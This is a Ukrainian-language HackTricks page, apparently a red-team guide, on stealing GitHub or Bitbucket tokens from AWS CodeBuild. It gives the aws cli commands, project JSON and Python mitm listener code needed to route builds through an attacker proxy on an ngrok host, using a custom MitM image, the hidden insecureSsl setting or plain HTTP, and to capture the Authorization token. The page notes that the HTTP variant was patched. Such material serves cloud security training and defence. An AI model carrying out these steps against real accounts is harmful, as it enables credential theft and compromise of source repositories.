AWS Codebuild - Token Leakage
Reading time: 6 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Відновлення токенів, налаштованих у Github/Bitbucket
Спочатку перевірте, чи є налаштовані облікові дані джерела, які ви могли б витікати:
aws codebuild list-source-credentials
Via Docker Image
Якщо ви виявите, що автентифікація, наприклад, до Github налаштована в обліковому записі, ви можете екстрактувати цей доступ (GH token або OAuth token), змусивши Codebuild використовувати конкретний docker image для виконання збірки проекту.
Для цього ви можете створити новий проект Codebuild або змінити середовище існуючого, щоб налаштувати Docker image.
Docker image, який ви можете використовувати, це https://github.com/carlospolop/docker-mitm. Це дуже базовий Docker image, який налаштує змінні середовища https_proxy
, http_proxy
та SSL_CERT_FILE
. Це дозволить вам перехоплювати більшість трафіку хоста, вказаного в https_proxy
та http_proxy
, і довіряти SSL CERT, вказаному в SSL_CERT_FILE
.
- Створіть та завантажте свій власний Docker MitM image
- Дотримуйтесь інструкцій репозиторію, щоб налаштувати IP-адресу проксі та налаштувати свій SSL сертифікат і збудувати docker image.
- НЕ НАЛАШТОВУЙТЕ
http_proxy
, щоб не перехоплювати запити до кінцевої точки метаданих. - Ви можете використовувати
ngrok
якngrok tcp 4444
, щоб налаштувати проксі на вашому хості. - Після того, як ви збудували Docker image, завантажте його в публічний репозиторій (Dockerhub, ECR...)
- Налаштуйте середовище
- Створіть новий проект Codebuild або змініть середовище існуючого.
- Налаштуйте проект на використання раніше згенерованого Docker image.
.png)
- Налаштуйте MitM проксі на вашому хості
- Як вказано в Github репозиторії, ви можете використовувати щось на зразок:
mitmproxy --listen-port 4444 --allow-hosts "github.com"
tip
Використовувалася версія mitmproxy 9.0.1, повідомлялося, що з версією 10 це може не спрацювати.
- Запустіть збірку та захопіть облікові дані
- Ви можете побачити токен у заголовку Authorization:
.png)
Це також можна зробити з aws cli з чимось на зразок
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}
## Json
# Start the build
aws codebuild start-build --project-name my-project2
Via insecureSSL
Codebuild проекти мають налаштування під назвою insecureSsl
, яке приховане в вебі, і ви можете змінити його лише через API.
Увімкнення цього дозволяє Codebuild підключатися до репозиторію без перевірки сертифіката, запропонованого платформою.
- Спочатку вам потрібно перерахувати поточну конфігурацію за допомогою чогось на кшталт:
aws codebuild batch-get-projects --name <proj-name>
- Потім, зібравши інформацію, ви можете оновити налаштування проекту
insecureSsl
наTrue
. Наступний приклад показує, як я оновлюю проект, зверніть увагу наinsecureSsl=True
в кінці (це єдине, що потрібно змінити в зібраній конфігурації). - Крім того, додайте також змінні середовища http_proxy та https_proxy, які вказують на ваш tcp ngrok, як:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
- Потім запустіть базовий приклад з https://github.com/synchronizing/mitm на порту, вказаному змінними проксі (http_proxy та https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Нарешті, натисніть на Build the project, облікові дані будуть надіслані у відкритому тексті (base64) на порт mitm:
 (1).png)
Via HTTP protocol
[!TIP] > Цю вразливість виправили AWS на деякий момент тижня 20 лютого 2023 року (я думаю, в п'ятницю). Тож зловмисник більше не може її зловживати :)
Зловмисник з підвищеними правами в CodeBuild може витікати токен Github/Bitbucket, налаштований або, якщо права були налаштовані через OAuth, тимчасовий OAuth токен, використаний для доступу до коду.
- Зловмисник міг би додати змінні середовища http_proxy та https_proxy до проекту CodeBuild, вказуючи на свою машину (наприклад,
http://5.tcp.eu.ngrok.io:14972
).
.png)
.png)
- Потім змініть URL репозиторію github, щоб використовувати HTTP замість HTTPS, наприклад:
http://github.com/carlospolop-forks/TestActions
- Потім запустіть базовий приклад з https://github.com/synchronizing/mitm на порту, вказаному змінними проксі (http_proxy та https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Далі натисніть Build the project або запустіть збірку з командного рядка:
aws codebuild start-build --project-name <proj-name>
- Нарешті, облікові дані будуть надіслані у відкритому тексті (base64) на порт mitm:
.png)
warning
Тепер зловмисник зможе використовувати токен зі своєї машини, перерахувати всі привілеї, які він має, і (зловживати) легше, ніж безпосередньо використовуючи сервіс CodeBuild.
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.